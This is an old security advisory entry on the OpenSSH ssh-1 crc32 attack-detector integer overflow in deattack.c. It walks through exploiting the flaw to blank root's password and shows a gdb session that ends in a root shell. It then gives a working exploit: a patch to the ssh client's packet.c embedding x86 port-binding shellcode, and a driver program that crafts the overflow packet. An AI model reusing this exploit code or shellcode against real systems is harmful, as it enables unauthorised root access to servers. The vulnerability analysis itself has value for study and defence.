COMMAND
ssh
SYSTEMS AFFECTED
SSH
PROBLEM
Paul Starzetz posted following. This advisory discusses the
recently discovered security hole in the crc32 attack detector as
found in common ssh packages like OpenSSH and derivates using the
ssh-1 protocoll. There is a possible overflow during assignemnet
from 32bit integer to 16bit wide one leading to unmasked hash
table offsets. For original advisory, see:
http://oliver.efri.hr/~crv/security/bugs/mUNIXes/ssh30.html
In this article Paul will try to show how:
a) exploit the crc32 hole to gain remote access to accounts
without providing any password, assuming remote sshd allows
empty passwords
b) change login-uid if valid account on the remote machine exists.
We are aware about the wide consequences arising form this
disclosure and possibly some people will hate us because Paul
wrote this, but after you have read this article, you will see
that the exploitation is really hard and tricky but on the other
hand interessting. We think that the impact of the crc32 hole is
greater than the recent bind bug. Authors are not responsible for
any damage resulting from this code, if you use this on your own.
The exploit code is a set of patches to openssh-2.1.1, but of
course one may want to put the needed routines into one code file.
Lets look at the vulnerable code in deattack.c. We will derive
few conclusions about exploitation of the deattack code here.
Original deattack.c code taken from OpenSSH-2.1.1, interessting
locations are marked with [n]:
int
detect_attack(unsigned char *buf, u_int32_t len, unsigned char *IV)
{
static u_int16_t *h = (u_int16_t *) NULL;
static u_int16_t n = HASH_MINSIZE / HASH_ENTRYSIZE;
register u_int32_t i, j;
u_int32_t l;
register unsigned char *c;
unsigned char *d;
if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||
len % SSH_BLOCKSIZE != 0) {
fatal("detect_attack: bad length %d", len);
}
[1]
for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2)
;
if (h == NULL) {
debug("Installing crc compensation attack detector.");
[2] n = l;
h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);
} else {
if (l > n) {
n = l;
h = (u_int16_t *) xrealloc(h, n * HASH_ENTRYSIZE);
}
}
if (len <= HASH_MINBLOCKS) {
for (c = buf; c < buf + len; c += SSH_BLOCKSIZE) {
if (IV && (!CMP(c, IV))) {
if ((check_crc(c, buf, len, IV)))
return (DEATTACK_DETECTED);
else
break;
}
for (d = buf; d < c; d += SSH_BLOCKSIZE) {
if (!CMP(c, d)) {
if ((check_crc(c, buf, len, IV)))
return (DEATTACK_DETECTED);
else
break;
}
}
}
return (DEATTACK_OK);
}
memset(h, HASH_UNUSEDCHAR, n * HASH_ENTRYSIZE);
if (IV)
h[HASH(IV) & (n - 1)] = HASH_IV;
for (c = buf, j = 0; c < (buf + len); c += SSH_BLOCKSIZE, j++) {
[3] for (i = HASH(c) & (n - 1); h[i] != HASH_UNUSED;
i = (i + 1) & (n - 1)) {
if (h[i] == HASH_IV) {
if (!CMP(c, IV)) {
if (check_crc(c, buf, len, IV))
return (DEATTACK_DETECTED);
else
break;
}
[4] } else if (!CMP(c, buf + h[i] * SSH_BLOCKSIZE)) {
if (check_crc(c, buf, len, IV))
return (DEATTACK_DETECTED);
else
break;
}
}
[5] h[i] = j;
}
return (DEATTACK_OK);
}
[2] as wee see here, a 32bit int value is assigned to 16bit wide
only one. Bad things happen, if n is assigned a (truncated) value
0, because the value of n-1, where nwould expand to 32bit before
the calculation is made is used as bit mask for following hash
table operation [3]. Because l is computed to be a power of 4 in
[1], we do not need to know the exact value for the len argument
of detect_attack. We will end with n beeing exactly 0 if len is
big enough. The overflow happens at exactly LEN = (16384 /
HASH_FACTOR) * SSH_BLOCKSIZE which is 87381.
So now we know how to set n to 0. Simply send a ssh1 packet with
size exceeding LEN. But are we able to send such long packets?
The answer is yes, after looking at the code of packet handling
code in packet.c we see that the maximum accepted packet len is
256 kbytes.
But what we can do with this? The answer is simple: after the
value of n has been set to 0, we can access all sshd's memory by
providing out_of_range hash indexes which are taken as (network
order) values from the packet buffer itself (due to the HASH
function beeing simple GET_32BIT), whose have to be 'unsigned
short' index values. The detect_attack code will scan 8 bytes
long blocks checking them for crc32 attack using only the first 4
bytes of each block as hash table index. So we can set the other
half of the buf blocks to arbitrary values without consequences
to what we are indexing.
So having n=0 we can change really any value in the memory! For
example to write to the variable X having the value V we need to
supply the Vth buf block with an offset to X in server's memory,
offset because it would be calculated relative to the value of
'h', which has been allocated by a call to xm(re)alloc(). The
value of h has indeed to be guessed, though (or in other words we
need to guess the offset to h).
But this would only write V to to X because 'j' which is the value
we write in [5] counts blocks in buf. As you see from [3] and [4]
there is a condition for writing to memory. The block number V
has to be identical with the block obtained by buf + h[i] * 8,
which means that we need 2 blocks: first a 'self termination'
block with the number V and another block with the number 'k'
where k is the new value we want to write to X. Note that with
this technique we can only increase the value of X !
There are 2 other conditions: the UNUSED_HASH and the HASH_IV
condition, though, we do not discuss them here.
Lets analyse the condition we need to enter detect_attack code at
all. From packet.c it can bee seen that we need the session key
to be set, so the first posibility to enter detect_attack is after
the ssh_kex code in auth1.c. This makes the exploitation a bit
tricky, because we need to send encrypted packets.
So one may ask, how to send an encrypted packet containing the
needed offsets if we must always encrypt our data before sending?
We can deal with it easilly maintaning a copy of the receive
context as sshd sees it. After the seesion key has been set (it
is the same for sending and receiving) we need to _decrypt_ all
packets we send to sshd. With this trick we are able to produce
the plaintext needed for construction of desired encrypted packet.
Let us look at the format of ssh-1 packets. They are always 8*n
(packets containing other data amount are padded) bytes long and
contains an (encrypted!) checksum at the end of packet:
(LEN)[001][002][003][004]...[XXX]
where [...] stands for a 8-byte long block and (LEN) is a 32 bit
value carrying the length information (network order!). The last
[XXX] block would be like
[PPPPCCCC]
with P standing for padding or data and C for the crc32 checksum.
The checksum is calculated over all packet bytes _excluding_ the
checksum location but including the last 32 bits of the packet
(padding or data) and then stored at the end of packet and after
that the resulting packet is encrypted with the current cipher
context (usually send_context in packet.c).
There are 2 another difficulties too, one can point out. The
first is that after we have sent a big packet setting 'n' in
detect_attack to 0, n will be still 0 in succeding calls and this
will result in an endles loop in [1]. Therefore our packet _must_
overwrite the static variable n in detect_attack subroutine!
Because we have xrealloc'ed the buffer h with the new size
n*HASH_ENTRYSIZE which would expand to 0, the buffer h cannot be
assumed to point to any valid memory... So the only way to deal
with this is to send only _small_ packets matching the condition
len < HASH_MINBLOCKS. For example we have to disable tty
allocation (-T option) in the following exploit code. Never enter
more than about 36 bytes on the prompt.
The second real hard problem is the value of PPPP. Detect_attack
will scan the buf for crc32 compensation attack _including_ the
last block with crc and pad. But we cannot really controll the
encrypted value of P because the ciphers work always on 8 byte
long blocks mixing the 2 32bit values with each other (Paul didn't
found any simple way to deal with this). So the question is: how
the PPPP bytes have to be in order to obtain defined encrypted
value at the P's position _after_ we calculated the cheksum? We
doubt that this problem is solvable at all. However, we use at
this point the UNUSED_HASH termination condition. After n has
been set again by our big packet to a value != 0 we need to match
the condition h[PPPP & n-1] == 0xffff. See below to understand
how Paul is doing this.
So now we know all about the detect_attack code and the packet
format, lets think about really exploiting this. After we have
looked at the authorisation code auth1.c we found 3 ways of
possible exploitation in the do_authloop function:
a) there is a local variable 'int authenticated = 0' which set to
value != 0 would authorise the session and start a remote
shell immediatelly.
b) overwriting the pw->pw_passwd value which should be 'x'\000 on
systems with shadow passwords with something like \000'x' would
produce a remote shell too if sshd has 'emptypasswords'
enabled.
c) overwriting pw->pw_uid with some value would change the uid the
remote shell is running after successfull athentication.
You will very fast figure out, why (a) is not easy exploitable (if
at all...).
It is time to describe an exploitation way for (b), which Paul
decided to choose for this article. Exploiting (c) would be
similiar but not really interesting because we can only increment
the uid value.
Lets summarize, how our (very very...) magic and big packet has
to look like:
- we put as first cipher block an offset pointing to the location
of n in detect_attack(), so first write h[i]=j will set n=0
- we make the 0x78th block to point to the location of
pw->pw_passwd (which point to somewhat like 0x78 0x00 ... at
this time), this is our termination block for pw->pw_passwd.
h[i]=j wouldn't change the value pw->pw_passwd is pointing to
- we make the 0x100th block to point to pw->pw_passwd again, so
that h[i]=j would change the value *(pw->pw_passwd) to be now
0x00 0x01 (which is an empty string, say no password)
- the 512th cipher block has to change n in detect_attack() to be
512 so no deadlock occurs in succeding calls to detect_attack().
- other cipher block offsets have to be 0x00000000.
- and finally we choose the last free (padding) value PPPP of the
packet to match following condition: network_order(PPPP) & 511
== 0 (brute force that, PPPP would be found very fast...) so
that we still have an _effective_ offset 0x00000000. After we
played a bit with this, Paul found that it is not really
necessary to bother about PPPP...
There are few other modifications to the ssh code, though. We
mention only that before we send our magic big packet there will
be a '0xffff-setting' packet, only to set up the h buffer with
0xffff values.
Another modification we made is sending empty password after we
have sent the long packet in sshconnect1.c. You will find other
minor changes on yourself...
Attached are diff files for the openssh-2.1.1 package. The patch
uses 2 environment variables called 'OFF' and 'NOFF', where OFF
has to be the offset to the variable we want to overwrite
(pw->pw_passwd), NOFF the offset to stattic variable 'n' in the
detect_attack code.
To finish this discussion lets look at some successfull
exploitation of sshd. We have run sshd in gdb in debugging mode
to simplify this show, but you can try the code with your own
'real' sshd of course, using apriopriate offsets...
On the client side:
./ssh -v -p 7777 localhost 2>&1 -c blowfish -T -l root
where -T prevents from sending ALLOC_PTY packet, which would
exceed the 56 bytes limit, on the server side:
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /usr/home/paul/tmp2/openssh-2.1.1p4/./sshd -p 7777 -d
-f ./sshd_config -b 512 2>&1
debug: sshd version OpenSSH_2.1.1
debug: Seeding random number generator
debug: read DSA private key done
debug: Seeding random number generator
debug: Bind to port 7777 on 0.0.0.0.
Server listening on 0.0.0.0 port 7777.
Generating 512 bit RSA key.
debug: Seeding random number generator
debug: Seeding random number generator
RSA key generation complete.
debug: Server will not fork when running in debugging mode.
Connection from 127.0.0.1 port 3743
debug: Client protocol version 1.5; client software version
OpenSSH_2.1.1
debug: Local version string SSH-1.99-OpenSSH_2.1.1
debug: Sent 512 bit public key and 1024 bit host key.
debug: Encryption type: blowfish
debug: stored copy of send context
debug: Received session key; encryption turned on.
Breakpoint 1, detect_attack (
buf=0x80f9d14
"V=C9zZ=ED\236\005\035b=ACI\205:I@N4c;\r\227=B3W\204=CB=D4\022=C6=B5lT\aO=
\025=A1=AE=CB6\227+w\177=FAN\032@\017=B0$=B7K=EB\230=F3Cb=C4\225,_~(\b=EE=
=D0=A9l6136
if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||
(gdb) c
Continuing.
debug: Installing crc compensation attack detector.
debug: Attempting authentication for root.
(here I have added some debugging code to detect_attack in order to
easilly gain offsets :-)
debug: PASSWORD ADR = 0xbffff08c : 80f8890 80f9c88 0
debug: passwd = [x]
debug: name = [root]
Breakpoint 1, detect_attack (
buf=0x80f9d14
"q9\216\203=C8ac]uuE\235A\013nQ\022=B7\003oj8=DCo+[\e=EB\207X=FF=AEr[=F37=
\233\030=AB=DF%=CF=CD=B7=D9R=F2\207l1\230y=BF(=AD\211=A1\004\207\037
\027&
len=528, IV=0x0) at deattack.c:136
136 if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||
(gdb) x 0x80f9c88
0x80f9c88: 0x400c0078
As we see here, 0x400c0078 is the stored 'x'\000 value from /etc/passwd,
which indicates that root has a shadow password.
(gdb) p len
$15 = 528
the packet received is the '0xffff' packet which would prepare the
memory region h with UNUSED_HASH values, ok lets continue:
(gdb) c
Continuing.
Unknown message during authentication: type 248
debug: Unknown message during authentication: type 248
Failed bad-auth-msg-248 for ROOT from 127.0.0.1 port 3743
Ok, sshd ignored the 0xffff packet, the client side is guessing
now the value of PPPP. Lets see what happens as next:
Breakpoint 1, detect_attack (buf=0x8100144 "\177=FEa0=FF=FF=FF=FF", len=88072,
IV=0x0) at deattack.c:136
136 if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||
(gdb) p len
$16 = 88072
(gdb) p n
$17 = 4096
Got big packet! Lets step into the detect_atack code:
(gdb) n
140 for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l ==
l
<< 2)
.
.
.
(gdb) p n
$18 = 0
So now we have set n=0 and n-1 = 0xffffffff and can overwrite
memory. After few loops we check again the location of
pw->pw_passwd:
(gdb) x 0x80f9c88
0x80f9c88: 0x400c0100
Oooops, root seems to have no password now! Lets run the loop a
bit longer:
(gdb) p n
$25 = 512
(gdb) p j
$26 = 785
We see that at this point we have set n back to be 0x200 and can
enter detect_attack again. Lets check now the termination value
for the last iteration in [3], which has to be UNUSED_HASH (note
the network order offsets):
(gdb) x/16 buf + len - 8
0x8115944: 0xf5966c0d 0xb7ef464b 0x09000000
0xeed64f1a
0x8115954: 0x2c1b8d66 0x891bb13a 0x527c53d0
0x00000000
(gdb) x/16 &h[0x0d6c96f5 & 511]
0x80fdf1a: 0xffffffff 0xffffffff 0xffffffff
0xffffffff
0x80fdf2a: 0xffffffff 0xffffffff 0xffffffff
0xffffffff
Ok, it looks fine, lets continue the loop till the end and hope
that sshd wouldn't die after overwriting 0x80fdf1a with the value
of j upon the end of the [3] loop. It will take about 120 seconds
on a P-100 machine to complete the loop (yes, Paul wrote this on
an old P-100/64mb.
(gdb) c
Continuing.
Unknown message during authentication: type 237
debug: Unknown message during authentication: type 237
Failed bad-auth-msg-237 for ROOT from 127.0.0.1 port 3747
Breakpoint 1, detect_attack (buf=0x8115950
"\032O=D6=EEf\215\e,:=B1\e\211=D0S|R", len=16, IV=0x0) at deattack.c:136
136 if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||
Oooops^2, now we have fooled sshd to believe that root doesn't
have a password set, set n to be != 0 and we are still alive.
SUCCESS! So it is not difficult to imagine what happens now:
(gdb) c
Continuing.
Accepted password for ROOT from 127.0.0.1 port 3747
debug: session_new: init
debug: session_new: session 0
Breakpoint 1, detect_attack (buf=0x8100144
"\030=A9=A0=D1'\233=C7*o=E5\021w(=C7\035v", len=16, IV=0x0) at deattack.c:136
136 if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||
We didn't supply any password at all. After continuation we get
an interactive session for root:
(gdb) c
Continuing.
Unknown packet type received after authentication: 9
Breakpoint 1, detect_attack (buf=0x8100158 "=BE=E1BAS=A3=F8y=FF=FF=FF=FF", len=8,
IV=0x0) at deattack.c:136
136 if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||
(gdb) c
Continuing.
debug: Entering interactive session.
debug: fd 9 setting O_NONBLOCK
debug: fd 11 setting O_NONBLOCK
debug: server_init_dispatch_13
debug: server_init_dispatch_15
On the client side we see this (no pty):
Permission denied, please try again.
debug: Requesting shell.
debug: Entering interactive session.
Environment:
USER=root
LOGNAME=root
HOME=/root
PATH=/usr/bin:/bin:/usr/sbin:/sbin
MAIL=/var/spool/mail/root
SHELL=/bin/bash
SSH_CLIENT=127.0.0.1 3747 7777
id
uid=0(root) gid=0(root)
groups=0(root),1(bin),12(mail),14(uucp),15(shadow),16(dialout),42(trust=
ed),100(users),101(untrusted),65534(nogroup)
That's all!
Hugo Dias added following. This is the exploit for the bug in
file deattack.c in the portable version of openssh-2.2.0 (and
possible below). We need to know several numbers for it to work
so it's very difficult to use the exploit on the wild.
1. We need to know is the EXACT distance of the variable "h" to
the 2 last bytes of the saved EIP in the stack with an
increment of 2 bytes.
2. This is the number that we place instead of the two first bytes
(last two bytes are the first two bytes of the address)
Example : 0x0806d3de
We will replace 0x0806 for the address we want, so we will
replace 0xde 0xd3 0x06 0x08 for 0xde 0xd3 0x0f 0x08 that is the
address of the buffer with the shellcode.
3. Packet Length
4. REAL packet length. The shellcode will go in the difference
between this two lengths,as the sshd server reads 8192(?) bytes
at time.
Then we need the host and the port number.
Finnaly we kneed a small number that doesn't cause SEG FAULT. It
doesn't matter how large is it as long as it doesn't cause any
segment error. It can be 0,1,2,3,...
Example :
./xp 30988 0 114200 117280 127.0.0.1 22 3
This works on Linux Mandrake 7.2 using "sshd -d" being debugged
with GDB, but it's possible to attach a SSHD child with GDB and
find the numbers we need for this to work with the daemon. If
the SSHD child doesn't SEG FAULT in the beggining (we can do that
easily by trying a few numbers) it will take more than 10 seconds
to process the packet and that is sufficient to attach the process
without changing its code and put a "sleep(15)" in it.
We need to be root... for doing this ... Finding the numbers we
need without being root is very difficult. And without no access
to any user in the system at all its even more difficult. This
addresses changes with the plataform, operating system, packet
length...
BUT its possible to do it (pheraps by reproducing exactly the
victim environment) and thats why Hugo wrote this.
Diff file to modify an ssh client for using it with the exploit:
--- packet.c Sat Oct 14 06:23:12 2000
+++ packet.c Tue Feb 20 09:33:00 2001
@@ -68,6 +68,85 @@
#define DBG(x)
#endif
+
+/*
+ * Linux/x86
+ * TCP/36864 portshell (old, could be optimized further)
+ */
+
+char shellcode[] = /* anathema <anathema@hack.co.za> */
+/* main: */
+"\xeb\x72" /* jmp callz */
+/* start: */
+"\x5e" /* popl %esi */
+
+ /* socket() */
+"\x29\xc0" /* subl %eax, %eax */
+"\x89\x46\x10" /* movl %eax, 0x10(%esi) */
+"\x40" /* incl %eax */
+"\x89\xc3" /* movl %eax, %ebx */
+"\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */
+"\x40" /* incl %eax */
+"\x89\x46\x08" /* movl %eax, 0x08(%esi) */
+"\x8d\x4e\x08" /* leal 0x08(%esi), %ecx */
+"\xb0\x66" /* movb $0x66, %al */
+"\xcd\x80" /* int $0x80 */
+
+ /* bind() */
+"\x43" /* incl %ebx */
+"\xc6\x46\x10\x10" /* movb $0x10, 0x10(%esi) */
+"\x66\x89\x5e\x14" /* movw %bx, 0x14(%esi) */
+"\x88\x46\x08" /* movb %al, 0x08(%esi) */
+"\x29\xc0" /* subl %eax, %eax */
+"\x89\xc2" /* movl %eax, %edx */
+"\x89\x46\x18" /* movl %eax, 0x18(%esi) */
+"\xb0\x90" /* movb $0x90, %al */
+"\x66\x89\x46\x16" /* movw %ax, 0x16(%esi) */
+"\x8d\x4e\x14" /* leal 0x14(%esi), %ecx */
+"\x89\x4e\x0c" /* movl %ecx, 0x0c(%esi) */
+"\x8d\x4e\x08" /* leal 0x08(%esi), %ecx */
+"\xb0\x66" /* movb $0x66, %al */
+"\xcd\x80" /* int $0x80 */
+
+ /* listen() */
+"\x89\x5e\x0c" /* movl %ebx, 0x0c(%esi) */
+"\x43" /* incl %ebx */
+"\x43" /* incl %ebx */
+"\xb0\x66" /* movb $0x66, %al */
+"\xcd\x80" /* int $0x80 */
+
+ /* accept() */
+"\x89\x56\x0c" /* movl %edx, 0x0c(%esi) */
+"\x89\x56\x10" /* movl %edx, 0x10(%esi) */
+"\xb0\x66" /* movb $0x66, %al */
+"\x43" /* incl %ebx */
+"\xcd\x80" /* int $0x80 */
+
+ /* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
+"\x86\xc3" /* xchgb %al, %bl */
+"\xb0\x3f" /* movb $0x3f, %al */
+"\x29\xc9" /* subl %ecx, %ecx */
+"\xcd\x80" /* int $0x80 */
+"\xb0\x3f" /* movb $0x3f, %al */
+"\x41" /* incl %ecx */
+"\xcd\x80" /* int $0x80 */
+"\xb0\x3f" /* movb $0x3f, %al */
+"\x41" /* incl %ecx */
+"\xcd\x80" /* int $0x80 */
+
+ /* execve() */
+"\x88\x56\x07" /* movb %dl, 0x07(%esi) */
+"\x89\x76\x0c" /* movl %esi, 0x0c(%esi) */
+"\x87\xf3" /* xchgl %esi, %ebx */
+"\x8d\x4b\x0c" /* leal 0x0c(%ebx), %ecx */
+"\xb0\x0b" /* movb $0x0b, %al */
+"\xcd\x80" /* int $0x80 */
+
+/* callz: */
+"\xe8\x89\xff\xff\xff" /* call start */
+"/bin/sh";
+
+
/*
* This variable contains the file descriptors used for communicating with
* the other side. connection_in is used for reading; connection_out for
@@ -125,6 +204,9 @@
/* Session key information for Encryption and MAC */
Kex *kex = NULL;
+/* Packet Number */
+int count = 0;
+
void
packet_set_kex(Kex *k)
{
@@ -461,6 +543,8 @@
unsigned int checksum;
u_int32_t rand = 0;
+ count++;
+
/*
* If using packet compression, compress the payload of the outgoing
* packet.
@@ -1172,7 +1256,64 @@
void
packet_write_poll()
{
- int len = buffer_len(&output);
+ int len;
+ char buf[50],*p,*ptr;
+ char code[270000];
+ long sz;
+ FILE *f;
+
+ if (count == 2)
+ {
+ f = fopen("/tmp/code","r");
+ fgets(buf,28,f);
+ fclose(f);
+
+ sz = GET_32BIT(&buf[24]);
+ buffer_clear(&output);
+ buffer_append(&output,code,sz);
+
+ len = buffer_len(&output);
+
+ ptr = buffer_ptr(&output);
+
+ for(p = ptr + 4 ; p < ptr + GET_32BIT(&buf[16]) ; p+=8)
+ {
+ *p=buf[0];
+ *(p+1)=buf[1];
+ *(p+2)=buf[2];
+ *(p+3)=buf[3];
+ *(p+4)=buf[4];
+ *(p+5)=buf[5];
+ *(p+6)=buf[6];
+ *(p+7)=buf[7];
+ }
+
+ sz = ((GET_32BIT(&buf[20]) + 8) & ~7);
+
+ for(p = p ; p < ptr + sz ; p+=8)
+ {
+ *p=buf[8];
+ *(p+1)=buf[9];
+ *(p+2)=buf[10];
+ *(p+3)=buf[11];
+ *(p+4)=buf[12];
+ *(p+5)=buf[13];
+ *(p+6)=buf[14];
+ *(p+7)=buf[15];
+ }
+
+ sz = len - GET_32BIT(&buf[20]);
+
+ memset(p,'\x90',sz);
+ memcpy(p+sz-strlen(shellcode)-16,&shellcode,strlen(shellcode));
+ memcpy(ptr,&buf[20],4);
+
+ count++;
+ }
+
+ len = buffer_len(&output);
+
+
if (len > 0) {
len = write(connection_out, buffer_ptr(&output), len);
if (len <= 0) {
@@ -1299,3 +1440,4 @@
max_packet_size = s;
return s;
}
+
/*
THIS FILE IS FOR EDUCATIONAL PURPOSE ONLY.
BlackSphere - Hugo Oliveira Dias
Tue Feb 20 16:18:00 2001
Email: bsphere@clix.pt
Homepage: http://planeta.clix.pt/bsphere
Exploit code for using the modified ssh
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
/* Path to modified ssh */
#define PATH_SSH "./ssh"
int main(int argc,char *argv[])
{
int f;
int port;
unsigned long addr,*ptr;
char *buffer,*aux,ch,*ssh;
int i;
if (argc < 8)
{
printf("\nUsage : %s <saved eip> <count> <packet length> <username length> <host> \
<port> <h(i)>\n\n",argv[0]);
fflush(stdout);
_exit(0);
}
port=atoi(argv[6]);
buffer = (char *) malloc(29);
ptr = (unsigned long *) buffer;
*(ptr++) = 1543007393 + strtoul(argv[1],0,10);
*(ptr++) = 0;
*(ptr++) = strtoul(argv[7],0,10);
*(ptr++) = 0;
*(ptr++) = 16520 + strtoul(argv[2],0,10);
*(ptr++) = strtoul(argv[3],0,10);
*(ptr++) = strtoul(argv[4],0,10);
buffer[29]=0;
for(i = 0 ; i < 27 ; i+=4)
{
aux = buffer + i;
ch=*aux;
*aux=*(aux+3);
*(aux+3)=ch;
ch=*(aux+1);
*(aux+1)=*(aux+2);
*(aux+2)=ch;
}
printf("\nSaved Eip : &h + %u",1543007393 + strtoul(argv[1],0,10));
printf("\nReturn Address : 0x%xxxxx",(16520+strtoul(argv[2],0,10))/8);
printf("\nPacket Length : %u",(strtoul(argv[3],0,10)+8) & ~7);
printf("\nUsername Length : %u\n\n",strtoul(argv[4],0,10));
fflush(stdout);
f = open("/tmp/code",O_RDWR | O_CREAT,S_IRWXU);
write(f,buffer,28);
close(f);
ssh = (char *) malloc(strlen(PATH_SSH) + 100 + strlen(argv[5]));
strcpy(ssh,PATH_SSH);
sprintf(ssh+strlen(PATH_SSH)," -p %i -v -l root %s",port,argv[5]);
printf("%s\n",ssh);
system(ssh);
_exit(0);
}
SOLUTION
Now you will probably understand, why the crc32 hole is very
difficult to exploit. Also any brute force approach one may try
would consume the network bandwith... Nevertheless, upgrade your
sshd as soon as possible.